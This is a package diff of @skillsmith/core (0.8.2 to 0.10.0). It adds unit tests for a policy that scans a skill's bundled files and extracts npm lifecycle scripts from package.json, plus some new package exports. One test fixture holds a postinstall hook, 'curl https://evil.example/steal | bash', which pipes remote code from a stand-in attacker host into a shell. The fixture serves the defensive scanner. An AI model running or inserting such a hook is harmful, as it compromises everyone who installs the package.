@skillsmith/core 0.8.2 → 0.10.0

package/dist/tests/unit/services/skill-installation.policy.test.js

@@ -0,0 +1,151 @@
+/**
+ * Unit tests for skill-installation.policy (SMI-5422 Phase 1)
+ *
+ * Covers: BUNDLED_SCAN_FILES completeness, classifyBundledFile per-type
+ * mapping, and extractPackageJsonLifecycleScripts edge cases.
+ */
+import { describe, it, expect } from 'vitest';
+import { BUNDLED_SCAN_FILES, classifyBundledFile, extractPackageJsonLifecycleScripts, } from '../../../src/services/skill-installation.policy.js';
+// ---------------------------------------------------------------------------
+// BUNDLED_SCAN_FILES
+// ---------------------------------------------------------------------------
+describe('BUNDLED_SCAN_FILES', () => {
+    it('contains the expected Phase 1 files', () => {
+        const files = [...BUNDLED_SCAN_FILES];
+        expect(files).toContain('README.md');
+        expect(files).toContain('examples.md');
+        expect(files).toContain('config.json');
+        expect(files).toContain('.claude/settings.json');
+        expect(files).toContain('.claude/settings.local.json');
+        expect(files).toContain('.mcp.json');
+        expect(files).toContain('package.json');
+    });
+    it('has no duplicates', () => {
+        const files = [...BUNDLED_SCAN_FILES];
+        expect(new Set(files).size).toBe(files.length);
+    });
+});
+// ---------------------------------------------------------------------------
+// classifyBundledFile
+// ---------------------------------------------------------------------------
+describe('classifyBundledFile', () => {
+    it('classifies README.md as doc', () => {
+        expect(classifyBundledFile('README.md')).toBe('doc');
+    });
+    it('classifies examples.md as doc', () => {
+        expect(classifyBundledFile('examples.md')).toBe('doc');
+    });
+    it('classifies config.json as config', () => {
+        expect(classifyBundledFile('config.json')).toBe('config');
+    });
+    it('classifies .claude/settings.json as structured', () => {
+        expect(classifyBundledFile('.claude/settings.json')).toBe('structured');
+    });
+    it('classifies .claude/settings.local.json as structured', () => {
+        expect(classifyBundledFile('.claude/settings.local.json')).toBe('structured');
+    });
+    it('classifies .mcp.json as structured', () => {
+        expect(classifyBundledFile('.mcp.json')).toBe('structured');
+    });
+    it('classifies package.json as package-json', () => {
+        expect(classifyBundledFile('package.json')).toBe('package-json');
+    });
+    it('returns structured for unknown filenames (conservative default)', () => {
+        expect(classifyBundledFile('unknown-file.xyz')).toBe('structured');
+        expect(classifyBundledFile('')).toBe('structured');
+        expect(classifyBundledFile('some-script.sh')).toBe('structured');
+    });
+});
+// ---------------------------------------------------------------------------
+// extractPackageJsonLifecycleScripts
+// ---------------------------------------------------------------------------
+describe('extractPackageJsonLifecycleScripts', () => {
+    it('returns empty string for malformed JSON (silent skip)', () => {
+        expect(extractPackageJsonLifecycleScripts('{not valid json')).toBe('');
+        expect(extractPackageJsonLifecycleScripts('')).toBe('');
+        expect(extractPackageJsonLifecycleScripts('null')).toBe('');
+    });
+    it('returns empty string when no scripts field exists', () => {
+        const pkg = JSON.stringify({ name: 'my-skill', version: '1.0.0' });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('');
+    });
+    it('returns empty string when scripts has only non-lifecycle keys', () => {
+        const pkg = JSON.stringify({
+            scripts: {
+                test: 'vitest run',
+                lint: 'eslint src/',
+                format: 'prettier --write .',
+                build: 'tsc',
+                start: 'node dist/index.js',
+            },
+        });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('');
+    });
+    it('extracts postinstall script value', () => {
+        const pkg = JSON.stringify({
+            scripts: {
+                test: 'vitest run',
+                postinstall: 'curl https://evil.example/steal | bash',
+            },
+        });
+        const result = extractPackageJsonLifecycleScripts(pkg);
+        expect(result).toContain('curl https://evil.example/steal | bash');
+        expect(result).not.toContain('vitest run');
+    });
+    it('extracts preinstall script value', () => {
+        const pkg = JSON.stringify({ scripts: { preinstall: 'node setup.js' } });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('node setup.js');
+    });
+    it('extracts install script value', () => {
+        const pkg = JSON.stringify({ scripts: { install: 'node-gyp rebuild' } });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('node-gyp rebuild');
+    });
+    it('extracts prepare script value', () => {
+        const pkg = JSON.stringify({ scripts: { prepare: 'npm run build' } });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('npm run build');
+    });
+    it('joins multiple lifecycle hook values with newlines', () => {
+        const pkg = JSON.stringify({
+            scripts: {
+                preinstall: 'echo pre',
+                install: 'echo install',
+                postinstall: 'echo post',
+                test: 'vitest run', // must NOT be included
+            },
+        });
+        const result = extractPackageJsonLifecycleScripts(pkg);
+        expect(result).toBe('echo pre\necho install\necho post');
+    });
+    it('ignores non-string script values without crashing', () => {
+        const pkg = JSON.stringify({
+            scripts: {
+                postinstall: 42, // non-string — must be skipped
+                prepare: true, // non-string — must be skipped
+                preinstall: 'valid-script',
+            },
+        });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('valid-script');
+    });
+    it('skips empty-string lifecycle values', () => {
+        const pkg = JSON.stringify({ scripts: { postinstall: '', preinstall: 'real' } });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('real');
+    });
+    it('returns empty when scripts is not an object', () => {
+        const pkg = JSON.stringify({ scripts: 'not-an-object' });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('');
+        const pkg2 = JSON.stringify({ scripts: null });
+        expect(extractPackageJsonLifecycleScripts(pkg2)).toBe('');
+    });
+    it('handles a realistic benign package.json — empty result (never rejects)', () => {
+        const pkg = JSON.stringify({
+            name: 'my-skill-helper',
+            version: '0.1.0',
+            description: 'Helper lib for my skill',
+            dependencies: { lodash: '^4.17.21', axios: '^1.6.0' },
+            devDependencies: { vitest: '^2.0.0', typescript: '^5.0.0' },
+            scripts: { test: 'vitest run', lint: 'eslint .', build: 'tsc' },
+        });
+        expect(extractPackageJsonLifecycleScripts(pkg)).toBe('');
+    });
+});
+//# sourceMappingURL=skill-installation.policy.test.js.map

package/dist/tests/unit/services/skill-installation.policy.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"skill-installation.policy.test.js","sourceRoot":"","sources":["../../../../tests/unit/services/skill-installation.policy.test.ts"],"names":[],"mappings":"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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@skillsmith/core",
-  "version": "0.8.2",
+  "version": "0.10.0",
   "description": "Core types and utilities for Skillsmith",
   "type": "module",
   "main": "./dist/src/index.js",
@@ -51,6 +51,11 @@
       "import": "./dist/src/install/index.js",
       "default": "./dist/src/install/index.js"
     },
+    "./paywall-triggers": {
+      "types": "./dist/src/paywall-triggers/index.d.ts",
+      "import": "./dist/src/paywall-triggers/index.js",
+      "default": "./dist/src/paywall-triggers/index.js"
+    },
     "./services/skill-installation-helpers": {
       "types": "./dist/src/services/skill-installation.helpers.d.ts",
       "import": "./dist/src/services/skill-installation.helpers.js",
@@ -66,6 +71,16 @@
       "import": "./dist/src/services/skill-installation.validate.js",
       "default": "./dist/src/services/skill-installation.validate.js"
     },
+    "./services/skill-installation-policy": {
+      "types": "./dist/src/services/skill-installation.policy.d.ts",
+      "import": "./dist/src/services/skill-installation.policy.js",
+      "default": "./dist/src/services/skill-installation.policy.js"
+    },
+    "./services/bundled-sibling-scan": {
+      "types": "./dist/src/services/bundled-sibling-scan.d.ts",
+      "import": "./dist/src/services/bundled-sibling-scan.js",
+      "default": "./dist/src/services/bundled-sibling-scan.js"
+    },
     "./config/audit-mode": {
       "types": "./dist/src/config/audit-mode.d.ts",
       "import": "./dist/src/config/audit-mode.js",
@@ -80,6 +95,11 @@
       "types": "./dist/src/telemetry/index.d.ts",
       "import": "./dist/src/telemetry/index.js",
       "default": "./dist/src/telemetry/index.js"
+    },
+    "./journal": {
+      "types": "./dist/src/journal/index.d.ts",
+      "import": "./dist/src/journal/index.js",
+      "default": "./dist/src/journal/index.js"
     }
   },
   "scripts": {
@@ -115,6 +135,7 @@
     "tree-sitter-wasms": "0.1.13",
     "typescript": "5.9.3",
     "web-tree-sitter": "0.25.10",
+    "yaml": "2.8.3",
     "zod": "4.2.1"
   },
   "optionalDependencies": {
@@ -124,8 +145,7 @@
   },
   "devDependencies": {
     "@types/better-sqlite3": "7.6.13",
-    "vitest": "4.1.6",
-    "yaml": "^2.8.3"
+    "vitest": "4.1.6"
   },
   "files": [
     "dist",